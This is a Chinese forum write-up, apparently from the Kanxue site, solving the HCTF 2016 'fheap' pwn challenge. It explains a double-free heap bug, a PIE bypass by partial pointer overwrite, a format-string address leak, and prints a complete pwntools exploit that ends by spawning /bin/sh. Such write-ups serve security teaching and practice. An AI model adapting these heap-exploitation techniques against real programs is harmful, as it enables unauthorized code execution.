题目为HCTF2016的一道PWN题,名为fheap,题目下载:
fheap
也可以直接使用c源代码自行编译生成:
#gcc fheap.c -pie -fpic -o fheap #strip fheap
话不多说,开始尝试解题:
程序为64位小端,除了stack canary外,保护全开,似乎有些棘手啊。
是一个典型的Create、Delete菜单类题目:
第三步,将程序丢到IDA中看一下:
通过F5,可以在create函数中查看到,当create时,程序会先申请0x20字节的堆块存储空间,如果输入的字符串长度小于0xf,则直接存储于0x20字节的前16个字节处,如果输入的字符串长度大于0xf,则申请相对应长度的空间存储字符串。
而在delete函数中,可以看到,由于程序只是未将指针置空,因此存在Double Free漏洞:
Double Free内存布局:
知识点1-Fastbin:Fast bins用于提高小内存的分配效率,不大于max_fast的chunk被释放后,首先会被缓存到Fast bins中。当分配的chunk小于或等于max_fast时,首先会在fast bins中查找相应的空闲块,用于加速分配。(在32bit的系统中,max_fast的值为64;在64bit的系统中,max_fast的值为128)。
因此只要我们能够将新申请块中的Free函数指针修改为我们想要的函数地址,就可以达到劫持的目的,但是这里有个难点,因为程序开启了PIE保护,导致内存地址随机化的问题。虽然地址随机变化,但由于内存页的载入机制,PIE的随机化只能对单个内存页进行随机化,因此它的低12bit并不会改变,正是因为如此,为我们绕过PIE提供了帮助,具体的方法是将free函数指针的最低位修应该为我们想要改变的函数指针(比如puts),从而去泄露我们想要的函数地址,通过计算偏移可以得到程序的加载基址等信息。
动态调试一下看看,下面是申请了两次小于0xf的堆结构:
释放后重新申请大于0xf的堆结构:
可以看到2260的地方指向的是存放字符串的地址,而free指针已被我们修改为了puts的指针。
data='a'*0x10+'b'*0x8+'\x5b'+'\x00' # leak puts_addr create(0x20,data) delete(1) p.recvuntil('b'*0x8) data=p.recvuntil('1.')[:-2] if len(data)>8: data=data[:8] data=u64(data.ljust(8,'\x00'))-0xA000000000000 proc_base = data - 0x35b print "proc_base:",hex(proc_base) print_plt = proc_base + 0x090 print "printf_plt:",hex(print_plt) delete(0)
data='a'*0x10+'b'*0x8+'\x5b'+'\x00' create(0x20,data) delete(1) p.recvuntil('b'*0x8) data=p.recvuntil('1.')[:-2] d = DynELF(leak_addr, proc_base, elf=ELF('./fheap')) system_addr = d.lookup('system','libc') print "system_addr:",hex(system_addr) delete(0)
完整EXP代码:
from pwn import * context.log_level = 'debug' p = process('./fheap') if args.G: gdb.attach(p) print_plt=0 def create(size,content): p.recvuntil("quit") p.send("create ") p.recvuntil("size:") p.send(str(size)+'\n') p.recvuntil('str:') p.send(content.ljust(size,'\x00')) p.recvuntil('n')[:-1] def delete(idx): p.recvuntil("quit") p.send("delete "+'\n') p.recvuntil('id:') p.send(str(idx)+'\n') p.recvuntil('sure?:') p.send('yes '+'\n') def leak_addr(addr): delete(0) #%7$s为printf函数格式化字符串打印第七个参数地址中的数据 data='aa%7$s'+'#'*(0x18-len('aa%7$s'))+p64(print_plt) create(0x20,data) p.recvuntil('3.quit') p.sendline('delete string') p.recvuntil('Pls give me the string id you want to delete\nid:') p.sendline(str(1)) p.recvuntil('Are you sure?:') p.sendline("yes.1111"+p64(addr)) p.recvuntil("aa") data=p.recvuntil('####')[:-4] return data + '\x00' # print "data:",data def pwn(): global print_plt create(4,'aa') create(4,'bb') # create(4,'cc') # delete(2) delete(1) delete(0) #part 1 data='a'*0x10+'b'*0x8+'\x5b'+'\x00' # leak puts_addr create(0x20,data) delete(1) p.recvuntil('b'*0x8) data=p.recvuntil('1.')[:-2] if len(data)>8: data=data[:8] data=u64(data.ljust(8,'\x00'))-0xA000000000000 proc_base = data - 0x35b print "proc_base:",hex(proc_base) print_plt = proc_base + 0x090 print "printf_plt:",hex(print_plt) delete(0) #part 2 data='a'*0x10+'b'*0x8+'\x5b'+'\x00' create(0x20,data) delete(1) p.recvuntil('b'*0x8) data=p.recvuntil('1.')[:-2] d = DynELF(leak_addr, proc_base, elf=ELF('./fheap')) system_addr = d.lookup('system','libc') print "system_addr:",hex(system_addr) delete(0) #part 3 data='/bin/sh;'+'#'*(0x18-len('/bin/sh;'))+p64(system_addr) create(0x20,data) delete(1) p.interactive() if __name__ == '__main__': pwn()
参考资料:
https://www.anquanke.com/post/id/85281
https://blog.csdn.net/CharlesGodX/article/details/88911417
http://www.rai4over.cn/2019/11/03/Use-After-Free%E6%BC%8F%E6%B4%9E-2016-HCTF-fheap-WriteUp/index.html
https://www.cnblogs.com/shangye/p/6156391.html
[2020元旦礼物]《看雪论坛精华17》发布!(补齐之前所有遗漏版本)!
最后于 3小时前 被bugchong编辑 ,原因: